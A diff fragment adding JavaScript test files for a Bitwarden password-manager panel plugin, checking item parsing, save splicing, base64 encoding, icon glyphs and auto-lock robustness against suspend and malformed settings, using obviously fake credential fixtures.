||||
const next = panelSrc.indexOf("\n Process {", idAt)
|
||||
return panelSrc.slice(idAt, next === -1 ? panelSrc.length : next)
|
||||
}
|
||||
for (const id of ["statusProc", "sessionHandoffProc", "listOrgsProc", "listFoldersProc",
|
||||
"orgCollectionsProc", "listSendsProc", "keyringLookupMasterProc",
|
||||
"getItemProc", "getTotpProc"]) {
|
||||
const block = processBlock(id)
|
||||
check(`${id} accepts output only after its exit status is known`,
|
||||
/onExited:/.test(block) && !/onStreamFinished:/.test(block), block)
|
||||
}
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,462 @@
|
||||
#!/usr/bin/env node
|
||||
// The item detail view is built from what `bw list items` already returned
|
||||
// rather than from a second `bw get item`. That is only correct if the two
|
||||
// produce the same detail, so that equivalence is the property under test.
|
||||
//
|
||||
// node tests/items.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.parseItems = parseItems
|
||||
exports.parseItemDetail = parseItemDetail
|
||||
exports.itemDetailFromObject = itemDetailFromObject
|
||||
exports.itemTypeGlyph = itemTypeGlyph
|
||||
exports.parseSanitizedItems = parseSanitizedItems
|
||||
exports.filterItems = filterItems
|
||||
exports.buildCreatePayload = buildCreatePayload
|
||||
exports.buildEditPayload = buildEditPayload
|
||||
exports.matchesQuery = matchesQuery
|
||||
exports.createItemCommand = createItemCommand
|
||||
exports.spliceSavedItem = spliceSavedItem
|
||||
exports.optimisticItem = optimisticItem
|
||||
exports.replaceItemById = replaceItemById
|
||||
exports.findItemById = findItemById
|
||||
exports.pendingItemId = pendingItemId
|
||||
exports.isPendingItemId = isPendingItemId
|
||||
exports.savedUnsanitizedMarker = savedUnsanitizedMarker
|
||||
exports.identityFullName = identityFullName
|
||||
exports.getItemCommand = getItemCommand
|
||||
exports.editItemCommand = editItemCommand
|
||||
exports.deleteItemCommand = deleteItemCommand
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// Shaped like a real `bw list items` entry, which carries the complete cipher
|
||||
// -- this is what makes the second CLI call unnecessary.
|
||||
const login = {
|
||||
object: "item", id: "11111111-1111-1111-1111-111111111111",
|
||||
organizationId: null, folderId: "f1", type: 1, name: "GitHub",
|
||||
notes: "recovery codes in the safe", favorite: true,
|
||||
login: {
|
||||
username: "octocat", password: "s3cr3t-p4ss", totp: "JBSWY3DPEHPK3PXP",
|
||||
uris: [{ match: null, uri: "https://github.com/login" }]
|
||||
},
|
||||
fields: [{ name: "recovery", value: "abcd-efgh", type: 1 }]
|
||||
}
|
||||
|
||||
const card = {
|
||||
object: "item", id: "22222222-2222-2222-2222-222222222222",
|
||||
type: 3, name: "Visa", notes: "", favorite: false,
|
||||
card: { cardholderName: "A Person", brand: "Visa", number: "4111111111111111",
|
||||
expMonth: "04", expYear: "2030", code: "123" }
|
||||
}
|
||||
|
||||
const identity = {
|
||||
object: "item", id: "33333333-3333-3333-3333-333333333333",
|
||||
type: 4, name: "Home", notes: "", favorite: false,
|
||||
identity: { title: "Mr", firstName: "A", middleName: "Q", lastName: "Person",
|
||||
username: "aperson", company: "Acme", email: "a@example.com",
|
||||
phone: "555", ssn: "000-00-0000", passportNumber: "P123",
|
||||
licenseNumber: "L456", address1: "1 Road", address2: "Flat 2",
|
||||
address3: "", city: "Town", state: "ST",
|
||||
postalCode: "00000", country: "US" }
|
||||
}
|
||||
|
||||
const sshPublic = { id: "ssh-1", name: "Work SSH", type: 5, organizationId: "org-1",
|
||||
folderId: "folder-1", favorite: true, reprompt: 1,
|
||||
sshKey: { publicKey: "ssh-ed25519 AAAATEST", fingerprint: "SHA256:public" } }
|
||||
const sanitized = Model.parseSanitizedItems(JSON.stringify({ items: [login], sshKeys: [sshPublic] }))
|
||||
check("sanitized envelope adds a public SSH item", sanitized.length === 2
|
||||
&& sanitized.some(i => i.typeCode === 5 && i.publicKey === "ssh-ed25519 AAAATEST"), JSON.stringify(sanitized))
|
||||
const ssh = sanitized.find(i => i.typeCode === 5)
|
||||
check("SSH search and favorite filtering use the combined list",
|
||||
Model.filterItems(sanitized, "AAAATEST", "all", "all", "all").length === 1
|
||||
&& Model.filterItems(sanitized, "", "favorite", "all", "all").some(i => i.id === "ssh-1"), JSON.stringify(sanitized))
|
||||
check("SSH detail is public-only", ssh && Model.itemDetailFromObject(ssh.rawObject).password === ""
|
||||
&& Model.itemDetailFromObject(ssh.rawObject).publicKey === "ssh-ed25519 AAAATEST", JSON.stringify(ssh))
|
||||
check("generic write and private-read commands reject SSH", Model.buildCreatePayload(5, "x") === null
|
||||
&& Model.buildEditPayload(ssh, "x") === null && Model.getItemCommand("ssh-1", 5).length === 0
|
||||
&& Model.editItemCommand("ssh-1", 5).length === 0 && Model.deleteItemCommand("ssh-1", 5).length === 0, "guard missing")
|
||||
|
||||
// --- the equivalence the optimisation rests on ------------------------------
|
||||
|
||||
for (const raw of [login, card, identity]) {
|
||||
const viaGetItem = Model.parseItemDetail(JSON.stringify(raw))
|
||||
const viaList = Model.itemDetailFromObject(raw)
|
||||
check(`${raw.name}: the list-built detail matches the get-item-built detail`,
|
||||
JSON.stringify(viaList) === JSON.stringify(viaGetItem),
|
||||
`\n list: ${JSON.stringify(viaList)}\n get: ${JSON.stringify(viaGetItem)}`)
|
||||
}
|
||||
|
||||
// --- parseItems keeps what the detail view needs ----------------------------
|
||||
|
||||
const listed = Model.parseItems(JSON.stringify([login, card, identity]))
|
||||
check("every listed item carries its raw object", listed.every(i => i.rawObject), "missing rawObject")
|
||||
|
||||
const listedLogin = listed.find(i => i.id === login.id)
|
||||
const detail = Model.itemDetailFromObject(listedLogin.rawObject)
|
||||
check("the password survives the round trip through the list",
|
||||
detail.password === "s3cr3t-p4ss", detail.password)
|
||||
check("so does the TOTP key", detail.totpKey === "JBSWY3DPEHPK3PXP", detail.totpKey)
|
||||
check("so do custom fields, which the list view itself never shows",
|
||||
detail.fields.length === 1 && detail.fields[0].name === "recovery"
|
||||
&& detail.fields[0].value === "abcd-efgh", JSON.stringify(detail.fields))
|
||||
check("so do notes", detail.notes === "recovery codes in the safe", detail.notes)
|
||||
check("so do URIs", detail.uris[0] === "https://github.com/login", JSON.stringify(detail.uris))
|
||||
|
||||
const listedCard = listed.find(i => i.id === card.id)
|
||||
const cardDetail = Model.itemDetailFromObject(listedCard.rawObject)
|
||||
check("card numbers and codes survive too",
|
||||
cardDetail.card.number === "4111111111111111" && cardDetail.card.code === "123",
|
||||
JSON.stringify(cardDetail.card))
|
||||
|
||||
const listedIdentity = listed.find(i => i.id === identity.id)
|
||||
const identityDetail = Model.itemDetailFromObject(listedIdentity.rawObject)
|
||||
check("identity fields survive too",
|
||||
identityDetail.identity.email === "a@example.com" && identityDetail.identity.postalCode === "00000",
|
||||
JSON.stringify(identityDetail.identity))
|
||||
|
||||
// --- cards and identities are first-class, not decoration --------------------
|
||||
//
|
||||
// The model parsed both of these long before anything drew them, so these
|
||||
// assertions guard the half that was always right as much as the half that
|
||||
// was added: what the list shows, what search can find, and above all what
|
||||
// survives an edit.
|
||||
|
||||
check("an identity carries the fields Bitwarden actually returns",
|
||||
identityDetail.identity.middleName === "Q" && identityDetail.identity.company === "Acme"
|
||||
&& identityDetail.identity.passportNumber === "P123"
|
||||
&& identityDetail.identity.address2 === "Flat 2",
|
||||
JSON.stringify(identityDetail.identity))
|
||||
|
||||
check("a full name closes the gaps rather than padding them",
|
||||
Model.identityFullName({ title: "", firstName: "", middleName: "", lastName: "Person" }) === "Person",
|
||||
JSON.stringify(Model.identityFullName({ lastName: "Person" })))
|
||||
|
||||
check("a card row is subtitled with its brand and last four",
|
||||
listedCard.subtitle === "Visa •••• 1111", listedCard.subtitle)
|
||||
check("an identity row is subtitled with its name, not left blank",
|
||||
listedIdentity.subtitle === "Mr A Q Person", listedIdentity.subtitle)
|
||||
|
||||
// Anything the list is willing to show, the search box has to be able to find.
|
||||
check("a card is found by its brand", Model.matchesQuery(listedCard, "visa"), listedCard.subtitle)
|
||||
check("a card is found by its last four", Model.matchesQuery(listedCard, "1111"), listedCard.subtitle)
|
||||
check("a card is not found by the middle of its number",
|
||||
!Model.matchesQuery(listedCard, "111111111"), "a stored-card-number lookup is not this box's job")
|
||||
check("an identity is found by name", Model.matchesQuery(listedIdentity, "person"), listedIdentity.subtitle)
|
||||
check("an identity is found by email", Model.matchesQuery(listedIdentity, "a@example.com"), listedIdentity.subtitle)
|
||||
|
||||
// --- payloads ---------------------------------------------------------------
|
||||
|
||||
const createdCard = Model.buildCreatePayload(3, "New", "", "", "", "", "", false, null, null, null,
|
||||
{ cardholderName: "B Person", brand: "MC", number: "5555444433332222", expMonth: "01", expYear: "2031", code: "999" })
|
||||
check("creating a card emits a card object and no login",
|
||||
createdCard.type === 3 && createdCard.card.number === "5555444433332222"
|
||||
&& createdCard.card.code === "999" && createdCard.login === undefined,
|
||||
JSON.stringify(createdCard))
|
||||
|
||||
const createdIdentity = Model.buildCreatePayload(4, "New", "", "", "", "", "", false, null, null, null,
|
||||
{ firstName: "Ada", lastName: "Lovelace", email: "ada@example.com" })
|
||||
check("creating an identity emits an identity object",
|
||||
createdIdentity.type === 4 && createdIdentity.identity.firstName === "Ada"
|
||||
&& createdIdentity.identity.email === "ada@example.com"
|
||||
&& createdIdentity.identity.ssn === "",
|
||||
JSON.stringify(createdIdentity))
|
||||
|
||||
// The regression that matters most here. The form can rename a card without
|
||||
// ever showing its number, and the writers set every key they know -- so an
|
||||
// edit that passes no type fields must leave the sub-object entirely alone,
|
||||
// not blank it. This is what the `&& typeFields` guard in buildEditPayload is
|
||||
// for, and it is worth an assertion because nothing about the call site looks
|
||||
// dangerous.
|
||||
const renamedCard = Model.buildEditPayload({ typeCode: 3, rawObject: card },
|
||||
"Renamed", "", "", "", "", "", false, null, null, null)
|
||||
check("renaming a card leaves its number, expiry and code untouched",
|
||||
renamedCard.name === "Renamed" && renamedCard.card.number === "4111111111111111"
|
||||
&& renamedCard.card.code === "123" && renamedCard.card.expYear === "2030",
|
||||
JSON.stringify(renamedCard.card))
|
||||
|
||||
const renamedIdentity = Model.buildEditPayload({ typeCode: 4, rawObject: identity },
|
||||
"Renamed", "", "", "", "", "", false, null, null, null)
|
||||
check("renaming an identity leaves its fields untouched",
|
||||
renamedIdentity.identity.email === "a@example.com" && renamedIdentity.identity.ssn === "000-00-0000",
|
||||
JSON.stringify(renamedIdentity.identity))
|
||||
|
||||
const editedCard = Model.buildEditPayload({ typeCode: 3, rawObject: card },
|
||||
"Visa", "", "", "", "", "", false, null, null, null,
|
||||
{ cardholderName: "A Person", brand: "Visa", number: "4111111111111112", expMonth: "05", expYear: "2031", code: "321" })
|
||||
check("an edit that does carry card fields writes them",
|
||||
editedCard.card.number === "4111111111111112" && editedCard.card.code === "321"
|
||||
&& editedCard.card.expMonth === "05",
|
||||
JSON.stringify(editedCard.card))
|
||||
|
||||
check("editing a card never turns it into a login",
|
||||
editedCard.type === 3 && editedCard.login === undefined, JSON.stringify(Object.keys(editedCard)))
|
||||
|
||||
// --- the encoder swap --------------------------------------------------------
|
||||
//
|
||||
// `bw encode` base64-encodes stdin and does nothing else -- no vault, no
|
||||
// session, no network. It cost a full Bitwarden CLI startup, measured at 2.7
|
||||
// seconds, on every save, folder creation and Send. coreutils does it in about
|
||||
// two milliseconds. These assertions hold the two halves of that swap: the
|
||||
// output really is identical, and the payload still never reaches argv.
|
||||
|
||||
const { execFileSync } = require("child_process")
|
||||
const encodeSamples = [
|
||||
'{"name":"Test","type":3}',
|
||||
'{"name":"unicode \u00e9\u00e5\u4e2d","notes":"line1\nline2"}',
|
||||
'{"name":"' + "x".repeat(500) + '"}',
|
||||
'{"password":"p@ss w/ spaces & $pecial \'quotes\'"}',
|
||||
]
|
||||
for (const sample of encodeSamples) {
|
||||
const ours = execFileSync("bash", ["-c", 'printf "%s" "$P" | base64 -w0'],
|
||||
{ env: { ...process.env, P: sample } }).toString()
|
||||
const node = Buffer.from(sample, "utf8").toString("base64")
|
||||
check(`base64 -w0 matches a reference encoder for ${sample.slice(0, 28)}...`,
|
||||
ours === node, `${ours}\n !=\n ${node}`)
|
||||
}
|
||||
|
||||
check("base64 -w0 emits a single line, as the CLI's stdin requires",
|
||||
!execFileSync("bash", ["-c", 'printf "%s" "$P" | base64 -w0'],
|
||||
{ env: { ...process.env, P: '{"name":"' + "y".repeat(400) + '"}' } }).toString().includes("\n"),
|
||||
"a wrapped encoding would reach `bw` as several lines")
|
||||
|
||||
for (const [label, cmd] of [
|
||||
["create item", Model.createItemCommand({ name: "x" })[2]],
|
||||
["edit item", Model.editItemCommand("id-1", 1)[2]],
|
||||
]) {
|
||||
check(`${label} pipes the payload from the environment through base64`,
|
||||
/printf '%s' "\$QSBW_ITEM" \| base64 -w0 \|/.test(cmd), cmd)
|
||||
check(`${label} still keeps the payload out of argv`,
|
||||
!cmd.includes("password") && !cmd.includes("cardholderName"), cmd)
|
||||
}
|
||||
|
||||
// --- splicing a save into the list ------------------------------------------
|
||||
//
|
||||
// A save used to be followed by re-listing and re-decrypting the whole vault
|
||||
// to learn about the one item just written. The save's own response is the
|
||||
// authoritative post-save state, so the list is brought up to date from that.
|
||||
// These assertions cover the ways that can go wrong, because a list that
|
||||
// quietly disagrees with the vault is worse than a slow one.
|
||||
|
||||
const envelope = (...objs) => JSON.stringify({
|
||||
sshCapability: "unconfirmed", items: objs, sshKeys: []
|
||||
})
|
||||
|
||||
const listed3 = Model.parseItems(JSON.stringify([login, card, identity]))
|
||||
|
||||
// An edit replaces in place and does not duplicate.
|
||||
const renamed = { ...card, name: "Amex" }
|
||||
const afterEdit = Model.spliceSavedItem(listed3, envelope(renamed))
|
||||
check("editing an item replaces it rather than adding a second copy",
|
||||
afterEdit.length === listed3.length
|
||||
&& afterEdit.filter(i => i.id === card.id).length === 1,
|
||||
JSON.stringify(afterEdit.map(i => i.name)))
|
||||
check("the replacement carries the saved values",
|
||||
afterEdit.find(i => i.id === card.id).name === "Amex",
|
||||
JSON.stringify(afterEdit.find(i => i.id === card.id)))
|
||||
|
||||
// A create appends and sorts, rather than landing at the end of the list.
|
||||
const created = { object: "item", id: "44444444-4444-4444-4444-444444444444",
|
||||
type: 1, name: "AAA First", favorite: false, login: { username: "a" } }
|
||||
const afterCreate = Model.spliceSavedItem(listed3, envelope(created))
|
||||
check("creating an item adds it", afterCreate.length === listed3.length + 1,
|
||||
String(afterCreate.length))
|
||||
// The login fixture is a favourite, so it sorts above everything; the new
|
||||
// item is expected at the head of the non-favourites, not of the whole list.
|
||||
check("a created item lands in sort order, not at the end",
|
||||
afterCreate.filter(i => !i.favorite)[0].name === "AAA First",
|
||||
JSON.stringify(afterCreate.map(i => `${i.name}:${i.favorite}`)))
|
||||
|
||||
// Favourites sort above everything, so toggling one has to move the row.
|
||||
const favourited = { ...card, favorite: true }
|
||||
const afterFav = Model.spliceSavedItem(listed3, envelope(favourited))
|
||||
check("favouriting an item moves it into the favourites block",
|
||||
afterFav.filter(i => i.favorite).some(i => i.id === card.id)
|
||||
&& afterFav.findIndex(i => i.id === card.id) < afterFav.findIndex(i => !i.favorite),
|
||||
JSON.stringify(afterFav.map(i => `${i.name}:${i.favorite}`)))
|
||||
|
||||
// A rename has to re-sort too, or the row stays where its old name put it.
|
||||
const renamedFirst = { ...login, name: "AAA Renamed" }
|
||||
const afterRename = Model.spliceSavedItem(listed3, envelope(renamedFirst))
|
||||
check("renaming an item re-sorts it",
|
||||
afterRename.filter(i => i.favorite)[0].name === "AAA Renamed",
|
||||
JSON.stringify(afterRename.map(i => `${i.name}:${i.favorite}`)))
|
||||
|
||||
// The spliced row must be a list row, not a raw cipher: the list draws
|
||||
// subtitles and copy buttons off these fields.
|
||||
const splicedCard = afterEdit.find(i => i.id === card.id)
|
||||
check("a spliced row is parsed into list shape, not left as a raw cipher",
|
||||
splicedCard.typeCode === 3 && splicedCard.subtitle === "Visa •••• 1111"
|
||||
&& splicedCard.hasPassword === false,
|
||||
JSON.stringify(splicedCard))
|
||||
|
||||
// --- everything that must fall back to a full reload -------------------------
|
||||
|
||||
check("an unrecognised envelope refuses to splice",
|
||||
Model.spliceSavedItem(listed3, '{"not":"an envelope"}') === null, "expected null")
|
||||
check("malformed JSON refuses to splice",
|
||||
Model.spliceSavedItem(listed3, "{oops") === null, "expected null")
|
||||
check("an envelope carrying more than one item refuses to splice",
|
||||
Model.spliceSavedItem(listed3, envelope(renamed, created)) === null, "expected null")
|
||||
check("an empty envelope refuses to splice",
|
||||
Model.spliceSavedItem(listed3, envelope()) === null, "expected null")
|
||||
check("an item with no id refuses to splice",
|
||||
Model.spliceSavedItem(listed3, envelope({ ...card, id: "" })) === null, "expected null")
|
||||
|
||||
check("the saved-but-unsanitized marker is a fixed sentinel the panel can test",
|
||||
typeof Model.savedUnsanitizedMarker() === "string"
|
||||
&& Model.savedUnsanitizedMarker().length > 0
|
||||
&& Model.spliceSavedItem(listed3, Model.savedUnsanitizedMarker()) === null,
|
||||
Model.savedUnsanitizedMarker())
|
||||
|
||||
// The save pipeline must sanitize its response the same way the list does,
|
||||
// because a save returns a complete decrypted cipher just as `bw list` does.
|
||||
const createCmd = Model.createItemCommand({ name: "x" })[2]
|
||||
check("a save runs its response through the strict JSON validator",
|
||||
createCmd.includes("TextDecoder") && createCmd.includes("Array.isArray"), createCmd.slice(0, 200))
|
||||
check("a save runs its response through the allowlisting filter",
|
||||
createCmd.includes("ordinary item carries an SSH key subtree")
|
||||
&& createCmd.includes("sshCapability"), createCmd.slice(0, 200))
|
||||
check("a failed save is never reported as a success",
|
||||
/if \[ "\$__rc" -ne 0 \]; then exit "\$__rc"; fi/.test(createCmd), createCmd)
|
||||
|
||||
// --- saving without making the user wait -------------------------------------
|
||||
//
|
||||
// A save costs whatever `bw` costs: a second or two of CLI startup, vault
|
||||
// decryption and a round trip, none of which this plugin can shorten. So the
|
||||
// form closes when the command is launched and the list shows the item as it
|
||||
// will be, marked as saving, until the vault answers.
|
||||
|
||||
const draftCard = { type: 3, name: "Draft Visa", notes: "", favorite: false,
|
||||
card: { brand: "Visa", number: "4111111111111111", code: "999",
|
||||
expMonth: "01", expYear: "2031", cardholderName: "A Person" } }
|
||||
|
||||
const provisional = Model.pendingItemId(12345)
|
||||
const optimistic = Model.optimisticItem(draftCard, provisional)
|
||||
|
||||
check("an optimistic row is built through the same parser as a real one",
|
||||
optimistic.typeCode === 3 && optimistic.subtitle === "Visa •••• 1111"
|
||||
&& optimistic.hasPassword === false,
|
||||
JSON.stringify(optimistic))
|
||||
check("and is marked as still saving", optimistic.pending === true, JSON.stringify(optimistic))
|
||||
check("a provisional id is recognisable as one",
|
||||
Model.isPendingItemId(optimistic.id), optimistic.id)
|
||||
check("a real vault id is not mistaken for a provisional one",
|
||||
!Model.isPendingItemId(card.id), card.id)
|
||||
|
||||
// The response carries the id the server assigned, which is not the one the
|
||||
// row went in under.
|
||||
const createdEnvelope = JSON.stringify({
|
||||
sshCapability: "unconfirmed",
|
||||
items: [{ ...draftCard, object: "item", id: "55555555-5555-5555-5555-555555555555" }],
|
||||
sshKeys: []
|
||||
})
|
||||
const withOptimistic = Model.replaceItemById(listed3, provisional, optimistic)
|
||||
check("the optimistic row goes into the list", withOptimistic.length === listed3.length + 1,
|
||||
String(withOptimistic.length))
|
||||
|
||||
const settled = Model.spliceSavedItem(withOptimistic, createdEnvelope, provisional)
|
||||
check("the saved item replaces the provisional row rather than joining it",
|
||||
settled.length === withOptimistic.length
|
||||
&& settled.filter(i => Model.isPendingItemId(i.id)).length === 0,
|
||||
JSON.stringify(settled.map(i => i.id)))
|
||||
check("and lands under the id the server assigned",
|
||||
settled.some(i => i.id === "55555555-5555-5555-5555-555555555555"),
|
||||
JSON.stringify(settled.map(i => i.id)))
|
||||
check("the settled row is no longer marked as saving",
|
||||
!settled.find(i => i.id === "55555555-5555-5555-5555-555555555555").pending,
|
||||
"a row that has landed must not keep spinning")
|
||||
|
||||
// A refused save must not leave the panel showing something the vault rejected.
|
||||
check("a failed create takes its provisional row back out",
|
||||
Model.replaceItemById(withOptimistic, provisional, null).length === listed3.length,
|
||||
"a create that failed must leave no row behind")
|
||||
|
||||
const editOptimistic = Model.optimisticItem(
|
||||
{ ...card, name: "Renamed while saving" }, card.id)
|
||||
const duringEdit = Model.replaceItemById(listed3, card.id, editOptimistic)
|
||||
check("an optimistic edit replaces in place rather than duplicating",
|
||||
duringEdit.length === listed3.length, String(duringEdit.length))
|
||||
check("a failed edit puts the previous row back",
|
||||
(() => {
|
||||
const before = Model.findItemById(listed3, card.id)
|
||||
const after = Model.replaceItemById(duringEdit, card.id, before)
|
||||
const restored = Model.findItemById(after, card.id)
|
||||
return after.length === listed3.length && restored.name === "Visa" && !restored.pending
|
||||
})(), "the list must return to what the vault actually holds")
|
||||
|
||||
check("finding an item by id returns null rather than throwing when absent",
|
||||
Model.findItemById(listed3, "nope") === null, "expected null")
|
||||
|
||||
// --- the fallback path still has to behave ----------------------------------
|
||||
|
||||
check("a missing raw object yields null rather than a broken detail",
|
||||
Model.itemDetailFromObject(null) === null, String(Model.itemDetailFromObject(null)))
|
||||
check("so does a non-object", Model.itemDetailFromObject("nope") === null,
|
||||
String(Model.itemDetailFromObject("nope")))
|
||||
check("unparseable JSON still yields null from the string form",
|
||||
Model.parseItemDetail("{not json") === null, String(Model.parseItemDetail("{not json")))
|
||||
|
||||
// --- the type glyphs -------------------------------------------------------
|
||||
//
|
||||
// Pinned by codepoint, because a wrong one is invisible in review: the glyph
|
||||
// renders as a small picture in the editor and the name is nowhere in the
|
||||
// source. Two of these were wrong for exactly that reason -- Secure Note drew
|
||||
// md-fan (a ceiling fan) and Card drew md-close_octagon_outline (a stop sign),
|
||||
// both under comments claiming otherwise. The values below are the same ones
|
||||
// the type filter chips in Panel.qml use, which is the point: a row and the
|
||||
// chip that selects it should not disagree.
|
||||
|
||||
const glyphs = [
|
||||
[1, 0xF030B, "md-key_variant", "Login"],
|
||||
[2, 0xF0219, "md-file_document", "Secure Note"],
|
||||
[3, 0xF0FEF, "md-credit_card", "Card"],
|
||||
[4, 0x0F007, "fa-user", "Identity"]
|
||||
]
|
||||
for (const [typeCode, cp, name, label] of glyphs) {
|
||||
const got = Model.itemTypeGlyph(typeCode)
|
||||
check(`${label} draws ${name}`, got.codePointAt(0) === cp,
|
||||
`U+${got.codePointAt(0).toString(16).toUpperCase()}`)
|
||||
check(`${label} is one glyph, not a sequence`, [...got].length === 1, JSON.stringify(got))
|
||||
}
|
||||
// itemTypeName() already answers "login" for anything it does not recognise,
|
||||
// so a cipher type Bitwarden adds later renders as a login rather than as
|
||||
// nothing. That also means itemTypeGlyph's own `default:` shield can never be
|
||||
// reached -- pinned here so the next reader does not go looking for it.
|
||||
check("an unrecognised type is drawn as a login, not as the unreachable shield",
|
||||
Model.itemTypeGlyph(99).codePointAt(0) === 0xF030B,
|
||||
Model.itemTypeGlyph(99).codePointAt(0).toString(16))
|
||||
|
||||
// A key icon on the password controls, not a refresh icon. Pinned by button
|
||||
// rather than by count, because what broke this was a bulk glyph replacement
|
||||
// that meant to touch one new button and silently rewrote every other use of
|
||||
// the same codepoint. A count alone would have moved with it.
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const KEY = String.fromCodePoint(0xF0306)
|
||||
const passwordButtons = [
|
||||
['tooltipText: "Password generator (g)"', "the generator button"],
|
||||
['tooltipText: "Copy password (Enter / y)"', "copy password on an item row"],
|
||||
['tooltipText: "Copy password (y / Enter)"', "copy password in the detail view"],
|
||||
['selected: root.genOpts.type === "password"', "the generator's Password type"],
|
||||
]
|
||||
for (const [anchor, label] of passwordButtons) {
|
||||
const at = panelSrc.indexOf(anchor)
|
||||
const before = at < 0 ? "" : panelSrc.slice(Math.max(0, at - 200), at)
|
||||
const icon = before.lastIndexOf("iconText:")
|
||||
check(`${label} wears the key glyph`,
|
||||
at >= 0 && icon >= 0 && before.slice(icon).includes(KEY),
|
||||
at < 0 ? `anchor missing: ${anchor}` : JSON.stringify(before.slice(icon).trim()))
|
||||
}
|
||||
check("the Generate... button wears it too",
|
||||
/text: "Generate\.\.\."[\s\S]{0,80}iconText: "\u{F0306}"/u.test(panelSrc),
|
||||
"the field-level generator shortcut")
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,396 @@
|
||||
#!/usr/bin/env node
|
||||
// What the panel must stop doing when the vault is not open.
|
||||
//
|
||||
// Three ways it kept going anyway, all of them silent:
|
||||
//
|
||||
// 1. The auto-lock countdown ran on a Qt Timer, and Qt schedules on
|
||||
// CLOCK_MONOTONIC, which Linux stops while the machine is suspended. A
|
||||
// fifteen-minute lock armed just before the lid closed still had fifteen
|
||||
// minutes left when the lid opened, so a vault left overnight came back
|
||||
// open. The deadline is now kept in wall-clock terms as well.
|
||||
//
|
||||
// 2. The minute count behind that countdown came out of shell.json, and
|
||||
// nothing validates shell.json. A non-numeric value reached QML as NaN and
|
||||
// landed in an `int` property as 0, which is how "never lock" is spelled; a
|
||||
// value past the schema's ceiling overflowed Timer.interval into a negative
|
||||
// number, which never fires. Both readings were a vault that never locked.
|
||||
//
|
||||
// 3. Nothing cancels a `bw` that is already running, so a `bw list items`
|
||||
// started a second before the lock finished afterwards and put the whole
|
||||
// vault -- passwords and all -- back into a panel that had just dropped it.
|
||||
//
|
||||
// node tests/lock-state.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.intSetting = intSetting
|
||||
exports.settingSchemaEntry = settingSchemaEntry
|
||||
exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA
|
||||
exports.autoLockExpired = autoLockExpired
|
||||
exports.autoLockPollMs = autoLockPollMs
|
||||
exports.vaultReadIsStale = vaultReadIsStale
|
||||
exports.parseItems = parseItems
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
const bodyOf = (name) => {
|
||||
const start = panelSrc.indexOf(`function ${name}(`)
|
||||
if (start === -1) return ""
|
||||
let depth = 0
|
||||
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
|
||||
if (panelSrc[i] === "{") depth++
|
||||
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// --- 1. The schema is the same on both sides of shell.json ------------------
|
||||
// The settings screen clamps to SETTINGS_SCHEMA on the way out and the
|
||||
// marketplace shows manifest.json's min/max, so the two have to agree or the
|
||||
// clamp on the way back in enforces a range nobody was shown.
|
||||
const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8"))
|
||||
const manifestEntries = {}
|
||||
for (const e of manifest.barWidget.schema) manifestEntries[e.key] = e
|
||||
|
||||
for (const entry of Model.SETTINGS_SCHEMA) {
|
||||
if (entry.type !== "int") continue
|
||||
const m = manifestEntries[entry.key]
|
||||
check(`manifest declares ${entry.key}`, !!m, JSON.stringify(Object.keys(manifestEntries)))
|
||||
if (!m) continue
|
||||
check(`${entry.key} min agrees with the manifest`, m.min === entry.min, `${m.min} vs ${entry.min}`)
|
||||
check(`${entry.key} max agrees with the manifest`, m.max === entry.max, `${m.max} vs ${entry.max}`)
|
||||
check(`${entry.key} default agrees with the manifest`,
|
||||
m.defaultValue === entry.defaultValue, `${m.defaultValue} vs ${entry.defaultValue}`)
|
||||
check(`${entry.key} default agrees with the widget defaults block`,
|
||||
manifest.barWidget.defaults[entry.key] === entry.defaultValue,
|
||||
`${manifest.barWidget.defaults[entry.key]} vs ${entry.defaultValue}`)
|
||||
// The ceiling exists so the value can be turned into milliseconds and put in
|
||||
// a Timer, whose interval is a signed 32-bit int.
|
||||
const scale = entry.key === "autoLockMinutes" ? 60 * 1000 : 1000
|
||||
check(`${entry.key} max still fits Timer.interval`,
|
||||
entry.max * scale <= 2147483647, `${entry.max * scale}`)
|
||||
}
|
||||
|
||||
// --- 2. Reading a setting back out of shell.json ----------------------------
|
||||
// `omarchy bar set` writes whatever it is handed -- a bare word becomes a JSON
|
||||
// string, --json stores any number at all -- and the README documents editing
|
||||
// the file by hand, so every one of these is reachable.
|
||||
for (const [key, raw, want, why] of [
|
||||
["autoLockMinutes", 15, 15, "an ordinary value is untouched"],
|
||||
["autoLockMinutes", "30", 30, "the string form `omarchy bar set` writes without --json"],
|
||||
["autoLockMinutes", 0, 0, "an explicit 0 still means never"],
|
||||
["autoLockMinutes", "fifteen", 15, "a word falls back to the default, NOT to 0/never"],
|
||||
["autoLockMinutes", undefined, 15, "an unset key falls back to the default"],
|
||||
["autoLockMinutes", null, 15, "a null falls back to the default"],
|
||||
["autoLockMinutes", "", 15, "an empty string falls back to the default"],
|
||||
